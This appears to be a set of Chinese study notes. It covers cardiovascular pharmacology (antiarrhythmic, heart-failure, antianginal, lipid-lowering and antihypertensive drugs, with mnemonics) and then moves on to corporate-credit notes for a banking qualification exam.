  • 广谱抗心律失常药，可用于各种室上性和室性心律失常

  • 常用于顽固性心律失常

  • 静脉注射用于控制室性心动过速和心室颤动

不良反应

  • 含碘：甲状腺功能紊乱、角膜碘微粒沉淀
  • 致死性肺毒性：间质性肺炎、月肺纤维化等
  • 心脏毒性（心脏抑制）：窦性心动过缓极为常见，也可出现房室传导阻滞、Q-T 间期延长。

七、IV 类—钙通道阻滞药

一）维拉帕米（异搏定）

药动学

  • 口服吸收迅速而完全，2-3 小时血药浓度达峰值
  • 由于首过效应，生物利用度仅 10%-30%
  • 在肝脏代谢，其代谢物去甲维拉帕米仍有活性，t1/2 为 3～7 小时

药理作用与机制

机制
  • 阻滞慢 Ca2+ 通道（L-Ca2+ 通道）
  • 抑制 Ca2+内流
    • 负性频率
    • 负性传导
    • 负性肌力
部位
  • 窦房结
  • 房室结
作用
  • 降低窦房结自律性
  • 减慢房室结传导性
  • 延长 ERP
临床应用
  • 治疗室上性和房室结折返引起的心律失常效果好，阵发性室上性心动过速的首选药。
  • 还可用于：
    • 房颤、房扑减慢心室率（传不下去）
    • 心肌梗死、心肌缺血及强心苷中毒引起的室性期前收缩有效。
不良反应

  • 口服给药安全

  • 因血管扩张：可引起面红、头晕、头痛，长期服用可引起便秘，踝部水肿。

  • 静脉注射：可引起心血管反应：血压下降、心动过缓、甚至暂时窦性停搏。

  • 因抑制心脏：严重心衰、房室传导阻滞、心源性休克、低血压者禁用。

八、记忆口诀（抗心律失常药）

  • 抗心律药很复杂，心电生理统率它。

  • 三种离子钾钠钙，四类药物好分家。

  • 降低自律消折返，失常原理两句话。

  • 缓慢失常阿托品，室律不齐“利卡因”。

  • 房颤房扑地高辛，心苷中毒苯妥英。

  • β-R 阻断室上性，阻钙内流异搏定。

  • “房室交界”它能正，胺碘酮，效全能。

九、首选药

  • 窦速：首选普萘洛尔
  • 室上性：首选维拉帕米
  • 室性：首选利多卡因
  • 强心苷中毒引起的室性：首选苯妥英钠
  • 房颤房扑：首选地高辛
  • 广谱：胺碘酮、普罗帕酮

第二十四章：抗慢性心功能不全药

一、概述

  • 减负类抗心衰药物
    • 利尿剂、血管扩张剂
    • β受体阻断剂
    • ACEI、ARB（普利、沙坦）
  • 正性肌力药
    • 增强心肌收缩力、增加输出量
  • 代表药物
    • 强心苷类
      • 长效：洋地黄毒苷
      • 中效：地高辛
      • 短效：毒毛花苷 K、毛花苷 C
    • 非强心苷类
      • 拟交感药：多巴酚丁胺
      • 磷酸二酯酶 III 抑制剂：氨力农、米力农

二、强心苷类正性肌力药

一）药动学

吸收

  • 洋地黄毒苷：口服吸收稳定完全，生物利用度 90%~100%。

  • 地高辛：生物利用度 60%~80%，个体差异大。

  • 肝肠循环：部分经肝、胆进入肠道，而后被再吸收的现象。洋地黄毒苷肝肠循环较多。

分布

  • 与血浆蛋白结合比例不同：洋地黄毒苷结合较多，地高辛结合较少；

  • 分布于各组织中，以心、肾、骨骼肌最多。

代谢

  • 洋地黄毒苷：脂溶性较高，主要在肝脏代谢。

  • 地高辛：代谢转化较少；

  • 毒毛花苷 K，毛花苷 C：很少在体内代谢。

排泄

  • 洋地黄毒苷：排泄缓慢、作用持久，代谢产物及少量原形物经肾排泄。

    • 少量经肠道排出，可形成肝肠循环。

  • 地高辛：60%～90% 以原形经肾脏排出。

  • 毒毛花苷 K、毛花苷 C：几乎全部以原形经肾排泄。

二）作用机制

  • 因为：抑制了心肌细胞膜上的一个酶（Na+-K+-ATP 酶活性，“纳泵”）

  • 所以：增加了收缩时心肌细胞内 Ca²+含量。

三）药理作用

概述

  • 增强心肌收缩力（正性肌力作用）
  • 减慢心率（负性频率作用）
  • 抑制房室传导（负性传导作用）
  • 对心肌耗氧量的影响
  • 对心电图的影响

详情

增强心肌收缩力（正性肌力作用）
  • 选择性地加强心肌收缩力
  • 使心肌收缩快速而有力
减慢心率（负性频率作用）
  • 心率减慢作用对 CHF（心功能不全）患者有利
    • 一方面：可使舒张期延长，使静脉回心血量更充分，而能排出更多血液；
    • 另一方面：可获得更多的冠状动脉血液供应。
抑制房室传导（负性传导作用）
  • 对心脏电生理的影响（抑房扬室）：
  • 抑房
    • 降低窦房结自律性，心率减慢（P-P 间期延长）
    • 减慢房室结传导速度（P-R 间期延长）
  • 扬室
    • 增高浦肯野纤维的自律性（易引起室性心律失常）
    • 缩短心房和浦肯野纤维不应期
对心肌耗氧量的影响

  • 总的氧耗量：降低

  • 因加强收缩性：增加氧耗量；

  • 因正性肌力作用：心输出量增加，能使心脏容积缩小，室壁张力下降，降低氧耗量

对心电图的影响

  • T 波幅度减小、压低甚至倒置

  • S-T 段降低呈鱼钩状

  • P-P 间期延长，反映心率减慢

  • P-R 间期延长，反映房室传导减慢

  • Q-T 间期缩短

其它作用

  • 对神经系统的作用：呕吐、中枢兴奋；

  • 对肾脏的作用：利尿作用（利好）；

  • 对肾素－血管紧张素－醛固酮系统的影响

    • 降低肾素活性，对抗 RAAS 系统，产生心脏保护作用（利好）
    • 类似药物
      • 普利（ACEI）
      • 沙坦（ARB）

四）临床应用

  • 治疗慢性心功能不全

  • 治疗抗心律失常

治疗慢性心功能不全

  • 对瓣膜病、高血压、先心病所致 CHF： 疗效好 （高兴吧 -> 高心瓣）；

  • 对继发于严重贫血、甲亢及维生素 B 缺乏症等导致的 CHF：疗效较差；

  • 对肺源性心脏病、活动性心肌炎或严重心肌损伤引起的心功能不全：疗效差；

  • 对心肌外机械因素引起的 CHF，如严重二尖瓣狭窄及缩窄性心包炎：疗效更差。

  • 缺点：不能纠正舒张功能障碍（ 即对肥厚型心肌病加重 ）。

治疗心律失常

  • 能减慢房室传导，可用于
    • 心房纤颤（首选）
    • 心房扑动
    • 阵发性室上性心动过速（首选：维拉帕米）

五）不良反应

  • 安全范围小、个体差异大、易发生不同程度的毒性反应（致死）

  • 胃肠道反应：最常见

  • 中枢神经系统反应

    • 黄视、绿视及视力减退：视觉障碍属中毒先兆，是停药指征之一。

  • 心脏反应： 最严重

    • 快速型心律失常
      • 最早最常见：室性期前收缩，是停药的指征之一。
      • 最严重：室速室颤
    • 房室传导阻滞
      • II、III 度房室传导阻滞，是停药指征之一。
    • 窦性心动过缓
      • 心率低于 60 次/分，为中毒先兆，是停药指征之一

六）强心苷中毒的防治

怎么防

概述

  • 警惕中毒的先兆症状

  • 避免中毒的诱发因素

    • 如：低血钾、高血钙、低血镁、心肌缺氧等
记忆

  • 假臭美，水平低

  • 搞学丐，心缺氧

  • 不高兴，易中毒

怎么治（强心苷中毒时的处理）

  • 中毒表现 -> 对抗药物

  • 心动过缓、房室阻滞 -> 用阿托品解救

  • 室性心动过速、室颤 -> 首选苯妥英钠，利多卡因也可

  • 危及生命的严重强心苷中毒 -> 可用地高辛抗体的 Fab 片段做静脉注射治疗

  • 其它：

    • 首先停药；
    • 考来烯胺能与地高辛结合，阻断肝肠循环，促进排泄。

七）给药方法

维持量法

  • 方法：每日给予小剂量维持，经 4－5 个半衰期，血药浓度逐步达到稳态发挥治疗作用。

  • 优点：可减少毒性反应的发生率。

  • 缺点：起效慢。

负荷量法

  • 方法：先在短期内给予足量强心苷以发挥充分疗效，然后再逐日给维持量以补充每日消除的剂量。

  • 优点：显效快

  • 缺点：易中毒，现已少用。

八）记忆口诀

  • 强心苷类慢中快，增强心力游离钙；

  • 正性肌力最根本，心力衰竭适应证；

  • 减慢心率和传导，房颤房扑阵发性；

  • 毒性反应三方面，心律失常要送命；

  • 维持疗法地高辛，禁钙补钾牢记心。

三、非强心苷类正性肌力药

一）概述

  • 此类药物短期内应用可获得一定的疗效。
  • 但长期应用时不良反应多，可增加病死率，甚至缩短生存时间，故不做常规治疗用药。

二）药物

  • 多巴酚丁胺
  • 氨力农、米力农、维司力农、匹莫苯

三）记忆口诀

  • 米力农、氨力农，增加心力增氧耗；

  • 短期应用症状消，但是缩短生存期；

  • 心肌早早会累死，大浪淘沙已成昨。

第二十五章：抗心绞痛药及调脂药

一、概述

一）前置知识

  • 冠心病（CHD）：全称冠状动脉粥样硬化型心脏病
  • 高血脂会导致动脉粥样硬化
  • 动脉粥样硬化 + 冠状动脉 = 心绞痛（程度轻）、心肌梗死（程度重，致命）
  • 冠状动脉发生粥样硬化引起管腔狭窄或闭塞，导致心肌缺血缺氧或坏死而引I起的心脏病，简称冠心病（CHD），也称缺血性心脏病。

二）心绞痛类型

  • 劳动、激动、天耗氧量大时疼：稳定型心绞痛（劳力性心绞痛）
  • 冠脉痉挛、导致心肌缺血加重：变异型心绞痛
  • 斑块破溃、表面暂时形成血栓：不稳定型心绞痛
  • 血栓形成、堵死了：心肌梗死

二、抗心绞痛药

一）概述

  • 一普二硝
  • 硝酸酯类：扩血管
  • β 受体阻断药（洛尔）：对抗交感
  • 钙通道阻滞药：扩血管 + 抑制心脏
  • 抗血小板药和抗血栓形成药：防血栓

二）硝酸酯类

药物

  • 硝酸甘油
  • 硝酸异山梨酯
  • 单硝酸异山梨酯

硝酸甘油

药动学
  • 口服首过效应明显，生物利用度低，常舌下含服，生物利用度为 80%；
  • 2～5 分钟出现作用，约半小时后作用消失
作用机制

  • 作用靶点：血管平滑肌细胞

  • 作用机制：释放的 NO，舒张血管

药理作用

  • 所有血管：“全，扩”

  • 扩静脉：减少回心血量，降低前负荷

  • 扩动脉：降低外周阻力，降低后负荷

  • 扩冠脉：增加心脏供血量，改善缺血区血供

  • 扩张外周血管的利与弊

    • 优点
      • 耗氧量下降
      • 心室容积缩小
      • 心室壁张力下降
      • 增加心内膜血流量
    • 缺点
      • 血压下降
      • 反射性兴奋交感神经
      • 心率加快、收缩力增强
      • 耗氧量增加
    • 对抗缺点
      • 合用 β 受体阻断剂（洛尔）

  • 扩张冠脉，增加缺血区血供的机制：侧支循环开放（扩张）

  • 扩张外周血管，降低心脏负担，减少耗氧量

  • 扩冠脉，改变心脏血液分布，增加缺血区血液供应

  • 增加心内膜血流量（降低心室舒张末期压力）

  • 保护缺血心肌细胞

临床应用

  • 心绞痛：稳定型首选

  • 急性心肌梗死：减小梗死面积

  • 心功能不全：降低心脏负担

优点

  • 与 β 受体阻断药比较：无加重心衰和诱发哮喘的危险；

  • 与钙通道阻滞剂比较：无心脏抑制的危险。

不良反应
  • 血管扩张导致
    • 面颈部皮肤发红、头痛、升高眼内压；
    • 反射性心率上升，心肌耗氧量上升，加重病情。
    • 首次含用硝酸甘油时，应注意可能发生直立性低血压
  • 高铁血红蛋白血症：头痛、头晕、口唇发绀、休克、昏迷。
  • 久用机体产生耐受性：应间歇给药。
硝酸酯类使用注意事项
  • 快速耐受现象
    • 由于硝酸酯类药物连续使用 48～72 小时，机体即可产生耐受性，此时患者即便 24 小时都有硝酸酯类药保护，还会发作心绞痛。
  • 解决方法
    • 为了避免机体对硝酸酯类药物的耐受性的发生，必须保证每 24 小时设置一个 12 小时的无硝酸盐或低硝酸盐间歇期这就是为预防耐药的“偏心给药”方法。
  • 总之：不要每 12h 一次
    • 硝酸异山梨酯片作用时间 2～4h，一日 2～3 次
    • 单硝酸异山梨酯片作用时间 4～5h，一日 2 次
    • 单硝酸异山梨酯缓释片作用时间 12h，一日一次。
禁忌症
  • 青光眼
  • 颅内高压

三）β 受体阻断药

药物

  • 普萘洛尔
  • 美托洛尔
  • 阿替洛尔
  • 拉贝洛尔

药理作用与机制

  • 降低心肌耗氧量（共有）
  • 改善缺血区血供（共有）
  • 改善心肌代谢
  • 增加组织供血

降低心肌耗氧量的机制

  • 阻断 β1 受体
  • 优点：对抗交感，降低心脏耗氧量
  • 缺点
    • 心室排空不足，心室容积加大，增加室壁张力；
    • 阻断冠脉 β2 受体，诱发冠脉收缩，易诱发变异型心绞痛（硝酸甘油可抵消此缺点）；
  • 总体效应是：减少心肌耗氧量

临床应用

  • 稳定型心绞痛
  • 不稳定型心绞痛
  • 特别适用于伴有心率快和高血压的心绞痛患者（一箭三雕）
  • 禁用于变异型心绞痛
    • 诱发冠脉痉挛，诱发变异型心绞痛

不良反应

  • 久用骤停引起心绞痛加剧或心梗
  • 诱发和加重哮喘
  • 禁用于血脂异常者

普萘洛尔与硝酸酯类合用的合理性

  • 优势互补，缺点互抵
药物抗心绞痛机制心率心收缩性心室容积
硝酸酯类生成 NO，扩张血管加快增加缩小
β 受体阻断药阻断心脏 β1 受体，对抗交感神经减慢减弱增大

四）钙通道阻滞药

药物

  • 硝苯地平（心痛定）
    • 起效快
    • 扩血管作用强
    • 抑制心肌作用弱，不易诱发心衰
    • 主要用于变异型心绞痛
  • 维拉帕米（异搏定）
  • 地尔硫卓（硫氮酮）
  • 普尼拉明（心可定）
  • 哌克昔林（心舒宁）

药理作用与机制

  • 降低心肌耗氧量（共有）
  • 改善缺血区血供（共有）
  • 保护缺血心肌（独有）
  • 抑制血小板聚集（独有）
  • 阻断Ca²+通道，抑制Ca²+内流
    • 心肌内Ca²+减少
      • 降低心肌收缩力 -> 耗氧量下降
      • 保护缺血心肌细胞
    • 外周血管扩张
      • 外周阻力减低，心负荷降低
      • 耗氧量下降
    • 抗血小板聚集
      • 稳定斑块，防血栓形成
      • 适用于不稳定型心绞痛
    • 扩张冠脉
      • 供氧量增加
      • 首选用于变异型心绞痛

临床应用

  • 首选用于
    • 变异型心绞痛
    • 也可用于稳定型及不稳定型心绞痛
  • 适用于：伴有哮喘和阻塞性肺疾病患者（气管狭窄）
  • 适用于：伴有外周血管痉挛性疾病的心绞痛者
  • 其他：急性心肌梗死，高血压，心律失常

二、调血脂药

一）概述

  • 血脂：
    • 甘油三脂(TG)
    • 胆固醇(TC)
    • 游离脂肪酸(FFA)
    • 磷脂(PL)
  • 血浆脂蛋白：
    • 乳糜微粒(CM)
    • 极低密度脂蛋白(VLDL)：甘油三脂运输形式
    • 低密度脂蛋白(LDL)：胆固醇运输形式
    • 高密度脂蛋白(HDL)

二）他汀类

常用的药物

  • 洛伐他汀
  • 辛伐他汀
  • 普伐他汀
  • 阿托伐他汀

机制

  • 他汀类抑制 HMG-CoA 还原酶（他汀类也称 HMG-CoA 还原酶抑制剂）
  • 乙酰辅酶 A ————HMG-CoA 还原酶————>胆固醇
  • 合成胆固醇的上述反应，一般在夜间进行

药理作用与作用机制

调血脂作用
  • 主要降低 LDL 和 TC，降 TG 作用很小
  • HDL 略有升高
非调血脂作用
  1. 改善血管内皮功能；
  2. 抑制血管平滑肌细胞的增殖和迁移；
  3. 抗氧化作用；
  4. 抗炎作用；
  5. 抑制血小板聚集和抗血栓作用等；
  6. 防止动脉硬化形成、稳定和缩小斑块。
  7. 一句话：有利于动脉粥样硬化的作用

临床应用

  • 调血脂：高胆固醇血症
  • 肾病综合征（体现为胆固醇病理性升高）
  • 血管成形术后再狭窄
  • 预防心脑血管急性事件
  • 还可用于缓解器官移植后的排厅反应和治疗骨质疏松症

不良反应

  • 横纹肌溶解（肌炎、肌痛、CPK 升高）
  • 肝损害（AST/ALT升高）

禁忌症

  • 孕妇
  • 有活动性肝病（或转氨酶持续升高）者禁用
  • 原有肝病史者慎用

三）胆汁酸结合树脂（考来类）

代表药物

  • 考来烯胺（消胆胺）
  • 考来替泊（降胆宁）

机制

  • 口服后在肠道内与胆汁酸结合形成不易被肠吸收的络合物

药理作用

  • 能明显降低血浆 TC 和 LDL 浓度，强度与剂量有关

  • HDL 几乎无改变；

  • 对 TG 和 VLDL 的影响轻微而不恒定。

临床应用

  • 以胆固醇升高为主的高脂血症；

  • 合用 HMG-CoA 还原酶抑制剂（他汀）-> 降脂作用增强。

不良反应

  • 肠道

  • 消化道反应：恶心、腹胀、便秘等

  • 长期应用：可引起脂肪痢、脂溶性维生素缺乏、高氯酸血症

四）贝特类（苯氧酸类）

药物

  • 贝特类，又称苯氧酸类
  • 氯贝特（氯贝丁酯）：不良反应多，已少用
  • 吉非贝齐
  • 苯扎贝特
  • 非诺贝特
  • 环丙贝特

药理作用

调血脂作用
  • 主要降低血浆——TG、VLDL
  • 对 TC 和 LDL 也有一定降低作用
  • 升高 HDL
  • 机制：激活 LPL（脂蛋白脂肪酶）
非调血脂作用
  • 抗凝血、加强纤溶，降低血液粘度
  • 抗血栓和抗炎性作用
  • 共同发挥抗动脉粥样硬化效应

临床应用

  • 主要用于高 TG 血症
  • 非诺贝特：可降低尿酸水平，用于伴高尿酸血症者
  • 苯扎贝特：改善糖代谢，用于糖尿病伴有 TG 血症者

不良反应

  • 较轻，一般耐受良好。
  • 消化道反应
  • 横纹肌溶解
  • 注意：与他汀类药物合用，可增加肌病的发生

禁忌症

  • 有肝胆疾病、肾功能不全者禁用；
  • 孕妇、哺乳妇女、儿童禁用。

五）烟酸（尼克酸，B 族维生素之一）

药理作用

  • 降低 TG、VLDL；降低 LDL-C；升高 HDL-C；

  • 抑制血小板和扩张血管

  • （可用于治疗冻伤冻疮）

应用

  • 为广谱调血脂药，对多种高脂血症均有效；

不良反应

  • 治疗剂量可产生显著的副作用。

  • 血管舒张反应：皮肤潮红、瘙痒、血管性头痛、低血压

    • 可能与释放前列腺素有关，服用阿司匹林可明显减轻。

  • 胃肠刺激症状：如恶心、呕吐、腹泻较常见，也可引起或加重消化道溃疡

    • 餐时或餐后服可减轻。

  • 大剂量：可引|起血糖升高、尿酸增加、肝功异常。

三、多烯脂肪酸类

一）n-3 型多烯脂肪酸

  • 二十碳五烯酸（EPA）

  • 二十二碳六烯酸（DHA）

  • α-亚麻酸（α-LNA）

    • 含于海洋生物藻、鱼及贝壳类中。

二）n-6 型多烯脂肪酸

  • 亚油酸（LA）

  • γ-亚麻油酸（γ-LNA）

  • 含于玉米油、葵花子油、红花油、亚麻子油等植物油中，降脂作用较弱，临床应用疗效不定。

四、保护动脉内皮药

一）低分子量肝素

二）天然类肝素

  • 如：冠心舒（脑心舒）

五、调脂药小结（不良反应）

  • 他汀类：横纹肌溶解（肌炎、肌痛、CPK 升高）、肝损害（AST/ALT 升高）

  • 贝丁酸类：消化道反应、横纹肌溶解

  • 烟酸：低血压、面部潮红、高尿酸血症、恶心呕吐

  • 考来类：便秘、胆石症、消化不良、脂肪泻

六、调脂药小结（药物选择）

一）高胆固醇血症

  • 首选 -> 他汀类

  • 搞不定 -> 加用依折麦布或胆酸鳌合剂（考来类）

二）高三酰甘油血症

  • 首选 -> 贝特类

  • 搞不定 -> 选用或加用烟酸类和 w-3 脂肪酸制剂。

七、调脂药小结（机制和作用）

药物调血脂主要机制临床主要应用
他汀类抑制 HMG-CoA 还原酶阻滞胆固醇合成，主要降低 LDL-C、TC高胆固醇血症、杂合子家族性和非家族性 IIa、IIb 和 III 型高脂蛋白血症
考来烯胺与胆汁酸结合，阻滞胆汁酸肝肠循环和反复利用，降低 TC、LDL-CIIa 及 IIb 型高脂蛋白血症、家族性杂合子高脂蛋白血症
贝特类激活 LPL，主要降低 TG、VLDL高 TG 血症、III 型高脂蛋白血症和混合型高脂蛋白血症
烟酸广谱调血脂药除 I 型以外的各型原发性高脂蛋白血症

第二十六章：抗高血压药

一、概述

一）标准

  • 高压 120，低压 80：正常血压
  • 高压 140，低压 90：正常高值（一级高血压）
  • 高压 160，低压 100：二级高血压
  • 高压 180，低压 110：三级高血压

二）损伤靶器官

  • 心脏：心律失常、心力衰竭
  • 肾脏：早期无症状。
    • 伴随病情进展，可出现夜尿增多及尿液检查异常，逐渐发展至慢性肾衰竭。
  • 脑
    • 脑血管小动脉痉挛：头痛、头胀、眼花、耳鸣、健忘、失眠、乏力
    • 高血压脑病（脑水肿、颅内高压）：剧烈头痛、呕吐、抽搐、昏迷、视力减退
    • 并发症是卒中（脑梗死、脑出血）：脑出血常在血压明显升高、波动、情绪激动、用力排便等情况下发生
  • 视网膜：眼底出血、渗出、视乳头水肿
  • 血管：高血压是导致动脉粥样硬化的重要因素，引起冠心病、脑血栓等

三）降压药

5 类一线降压药

  • 血管紧张素转换酶抑制剂（ACEI）：普利类，对抗 RAS 系统
  • 血管紧张素工受体阻断剂（ARB）：沙坦类，对抗 RAS 系统
  • β 受体阻断剂（β-RB）：洛尔类
  • 钙通道阻滞剂（CCB）：地平类
  • 利尿药：氢氯噻嗪、螺内酯

作用机制

二三类降压药

  • 外周交感神经递质再摄取抑制剂：利血平
  • 中枢 α2 受体激动剂：可乐定、甲基多巴
  • 外周 α1 受体阻断剂：哌唑嗪、特拉唑嗪、多沙唑嗪
  • 曾多年用于临床并有一定的降压疗效，但因不良反应较多，目前不主张单独使用，但可用于复方制剂或联合治疗。

四）降压药总结

药物类型适应症（优点）不良反应（缺点）
ACEI（普利）ARB（沙坦）心衰、左室肥厚、心梗后、糖尿病、肾病（只要有尿蛋白）双侧肾动脉狭窄、妊娠、高钾血症（大于5.5mmol/L）、（刺激性干咳，高钾血症）
β 受体阻断剂（洛尔）冠心病、心绞痛，慢性心衰、快速性心律失常哮喘、COPD、2 度或 3 度房室阻滞、变异型心绞痛、急性心衰（长期突然停药反跳血压反而高）
钙通道阻滞剂（地平类）、维拉帕米（非）心绞痛、老年收缩期高血压、单纯收缩期高血压、冠状动脉粥样硬化以及周围血管疾病心衰、房室阻滞（二氢吡啶类颅面潮红，头痛）（非二氢吡啶类副作用抑制心脏收缩功能和传导，有时出现牙龈增生）
利尿剂心衰、单纯收缩期高血压、老年高血压痛风、妊娠（低血钾，电解质紊乱）、难治性高血压的基础药物之一
α 受体阻断剂前列腺增生直立性低血压

五）降压药框架

二、血管紧张素转化酶抑制药(ACEI)

一）代表药

卡托普利

依那普利

赖诺普利

福辛普利

培哚普利

二）应用

  • 高血压（主要作用）
  • 心功能不全（兼职作用）
  • 缺血性心脏病（冠心病）（兼职作用）

三）机制

  • 抑制血管紧张素转化酶(ACE)

四）降压特点

  • 降压时不伴有反射性心率加快，对心排出量无明显影响；
  • 可预防和逆转心肌与血管构型重建；
  • 增加肾血流量，保护肾脏；
  • 能改善胰岛素抵抗，不引起电解质紊乱和脂质代谢改变

五）临床应用

  • ACEI 适用于各型高血压，单用可控制轻度高血压。

  • 对中、重度高血压合用利尿药可加强降压效果，降低不良反应。

  • 对伴有左心室肥厚、左心功能障碍、急性心肌梗死、糖尿病、肾病的高血压患者，ACEI 是首选药。

六）不良反应（低，轻微）

  • 首剂低血压：见于开始剂量过大时，应小量开始试用

  • 刺激性干咳

  • 高血钾（对抗醛固酮所致） 、低血糖、血管神经性水肿

  • 久用可致血锌降低而引|起皮疹、味觉及嗅觉缺损、脱发等，补充 Zn2+ 可一定程度缓解

七）禁忌症

  • 双侧肾动脉有狭窄

  • 重度肾衰

  • 孕妇

八）注意

  • ACEI 和 ARB 降压过快过猛可能引起急性肾衰，需监测肾功能。

  • 用药初始 2 个月血肌酐升幅大于 30%～50%，提示肾缺血，应停用 ACEI 或减量。

  • 双侧肾狭窄者禁用。

  • 肾衰晚期（肌酐清除率 < 30 ml/min 或血肌酐超过 265 μmol/L），再用 ACEI/ARB 有可能反而使肾功能恶化。

三、血管紧张素 II 受体阻断剂

一）代表药

  • 氯沙坦

  • 缬沙坦

  • 替米沙坦

  • 厄贝沙坦

二）药理作用

  • 血管紧张素 II 受体阻断剂（选择性 AT1 受体阻断药）

  • 还能促进尿酸排泄，明显降低血浆尿酸水平

三）临床应用

  • 可用于各型高血压

  • 若用药 3～6 周血压下降不理想，可加利尿药

四）不良反应

  • 本药除不引起咳嗽及血管神经性水肿外，其余不良反应与 ACEI 相似。

五）记忆口诀（普利类和沙坦类，ACEI/ARB）

  • 江湖老大有正义，护心护肾护血糖；

  • 防止猝死大贡献，逆转重构延寿命；

  • 能用都用尽量用；除非实在不能用；

  • 合用噻嗪防高钾；咳嗽太狠换沙坦；

  • 用药监测肾功能，肌酐轻升可继续；

  • 禁止使用有两条，肾 A 双侧都狭窄；

  • 重度肾衰才禁用，轻/中肾衰还可用！

四、肾上腺素受体阻断药

一）概述

  • α、β 受体阻断药：拉贝洛尔

  • α1 受体阻断药：哌唑嗪

  • β 受体阻断药

    • 非选择性 β 受体阻断药：普萘洛尔
    • 选择性 β1 受体阻断药：美托洛尔、阿替洛尔

二）α1 受体阻断剂

代表药

  • 哌唑嗪

  • 特拉唑嗪

  • 多沙唑嗪

药理作用

  • 舒张静脉及小动脉，降压效应中等偏强

  • 对血脂和血糖代谢有利

临床应用

  • 适用于各型高血压

  • 单用治疗轻、中度高血压

  • 重度高血压合用 β 受体拮抗剂及利尿药可增强降压效果

不良反应

  • 一般：有眩晕、疲乏、虚弱等

  • 特有：“首剂现象”

    • 首次给药可致严重的直立性低血压、晕厥、心悸等，饥饿、低盐时较易发生。

  • 将首次用量减为 0.5mg，并在临睡前服用，可避免发生

记忆口诀（α 受体阻断药，“唑嗪”）

  • 特拉唑嗪哌唑嗪，扩张血管降血压；

  • 一般不做首选药，属于二线降压药；

  • 引起体位低血压，起得太猛易摔倒；

  • 最好使用控释剂，最好用在睡觉前；

  • 同时扩张下尿道，老年男性较适用。

三）β 受体阻断剂

降压作用机制

  • 减少心排出量

  • 抑制肾素分泌

  • 降低外周交感神经活性

  • 中枢降压作用

  • 改变压力感受器的敏感性，促进前列环素（PGI）的合成。

  • 降低卒中和心梗率

临床应用

  • 各型高血压
  • 尤其适用于青年性高血压（高肾素和高心输出量）
  • 合并心动过速、心绞痛者

不良反应

  • 可出现眩晕、神志模糊（尤见于老年人）、精神抑郁、反应迟钝等中枢神经系统不良反应；
  • 头昏（低血压所致）；
  • 心率过慢（<50 次/分钟）；
  • 较少见的有：支气管痉挛呼吸困难、充血性心力衰竭。

记忆口诀（β 受体阻断药，洛尔）

  • β-受体阻断药，普萘洛尔是代表，
  • 临床治疗高血压，心律失常心绞痛。
  • 三条禁忌记心间，哮喘心衰心动缓。
  • β1-长在心脏上，阻断效果是四降；
  • 降率降传降耗氧，降低输出降血压；
  • β2-长在气管上，还有冠脉和腿上；
  • 阻断无益反不良，哮喘急冠和肢凉。

四）α1 、β 受体阻断剂：拉贝洛尔

  • 降压作用温和，适用于治疗各种程度的高血压及高血压急症；
  • 大剂量可致直立性低血压，少数患者用药后可引起疲劳、眩晕、上腹部不适等不良反应。
  • 静注或静滴可治疗高血压危象。
  • 妊娠期高血压、嗜铬细胞瘤、麻醉或手术时高血压。

五、钙通道阻断药

金融 | Finance

所有金融学习内容，收录于此。

公司信贷

《银行业专业人员职业资格考试（初级）》考试，公司信贷相关科目内容。

同时也作为，入职 中国农业发展银行 所需要了解的内容。

第一章：公司信贷概述

信贷基础

相关概念

  1. 信贷：一切以实现承诺为条件的价值运动形式
    • 存款、贷款、担保、承兑和赊欠等
  2. 银行信贷：银行筹集债务资金、借出资金或提供信用支持的经济活动
  3. 公司信贷：银行为提供主体，以法人和其他经济组织等非自然人为接受主体的资金借贷或信用支持活动
  4. 贷款：商业银行或其他信用机构以一定的利率和按期归还为条件，将 货币资金使用权 转让给其他资金需求者的信用活动
  5. 承兑：是银行在商业汇票上签章承诺按出票人指示 到期付款 的行为
  6. 担保：银行根据申请人要求，向受益人承诺债务人不履行债务或符合约定条件时，银行按照约定以支付一定货币的方式 履行债务或者承担责任 的行为
  7. 信用证：由开证银行根据信用证相关法律规范应申请人要求并按其指示向受益人开立的载有一定金额的、在一定期限内凭符合规定的 单据付款 的书面文件
  8. 减免交易保证金
  9. 信贷承诺：银行向客户作出的在未来一定时期内按约定条件为客户 提供贷款或信用支持 的承诺
  10. 直接融资
  11. 间接融资

基本要素

  1. 交易对象
  2. 信贷产品
    • 贷款、担保、承兑、信用支持、保函、信用证和承诺等
  3. 信贷金额
  4. 信贷期限
    • 提款期
    • 宽限期
    • 还款期
  5. 贷款利率和费率
    • 利率
      • 本币贷款利率和外币贷款利率
      • 浮动利率和固定利率
      • 法定利率、行业公定利率和市场利率
      • 基准利率
      • 利率结构
      • 利率表达方式：年利率、月利率、日利率
      • 计息方式
    • 费率：利率以外的银行提供信贷服务的价格
      • 担保费、承诺费、承兑费、银团安排费、开证费等
  6. 清偿计划
    • 一次性还款
    • 分次还款
      • 定额还款
        • 等额还款
          • 等额本金还款
          • 等额本息还款
        • 约定还款
      • 不定额还款
  7. 担保方式
    • 保证、抵押、质押、定金和留置
  8. 约束条件
    • 提款条件
    • 监管条件
  9. 等

公司信贷的种类

  1. 货币种类划分
    • 人民币贷款
    • 外汇贷款
  2. 贷款期限划分
    • 短期贷款
    • 中期贷款
    • 长期贷款
  3. 贷款用途划分
    • 固定资产贷款
      • 用于借款人固定资产投资的本外币贷款
    • 流动资金贷款
      • 用于借款人日常生产经营周转的本外币贷款
    • 并购贷款
      • 商业银行向并购方或其子公司发放的，用于支付并购交易价款的贷款
    • 房地产贷款
      • 与房产或地产的开发、经营、消费活动有关的贷款
    • 项目融资贷款
      • 贷款用途通常是用于建造一个或一组大型生产装置、基础设施、房地产项目或其他项目， 包括对在建或已建项目的再融资
      • 借款人通常是为建设、经营该项目或为该项目融资而专门组建的企事业法人
      • 还款资金来源主要依赖该项目产生的销售收入、补贴收入或其他收入，一般不具备其他还款来源
  4. 贷款经营模式划分
    • 自营贷款
      • 银行以合法方式筹集的资金自主发放的贷款
      • 风险由银行承担，并由银行收回本金和利息
    • 委托贷款
      • 委托人提供资金，银行代为发放、监督使用并协助收回的贷款
      • 委托贷款的风险由委托人承担
      • 银行只收取手续费，不承担贷款风险，不代垫资金
    • 特定贷款
    • 国务院批准并对贷款可能造成的损失采取相应补救措施后责成银行发放的贷款
    • 银团贷款
    • 两家或两家以上的银行依据同样的贷款条件并使用一份共同的贷款协议，按约定的时间和比例，向借款人发放的并由一家共同的代理行管理的贷款
  5. 贷款偿还方式划分
    • 一次还清贷款
    • 分期偿还贷款
  6. 贷款利率划分
    • 固定利率贷款
    • 浮动利率贷款
  7. 贷款担保方式划分
    • 抵押贷款
      • 以借款人或第三人财产作为抵押
    • 质押贷款
      • 以借款人或第三人的动产或权利作为质押物
    • 保证贷款
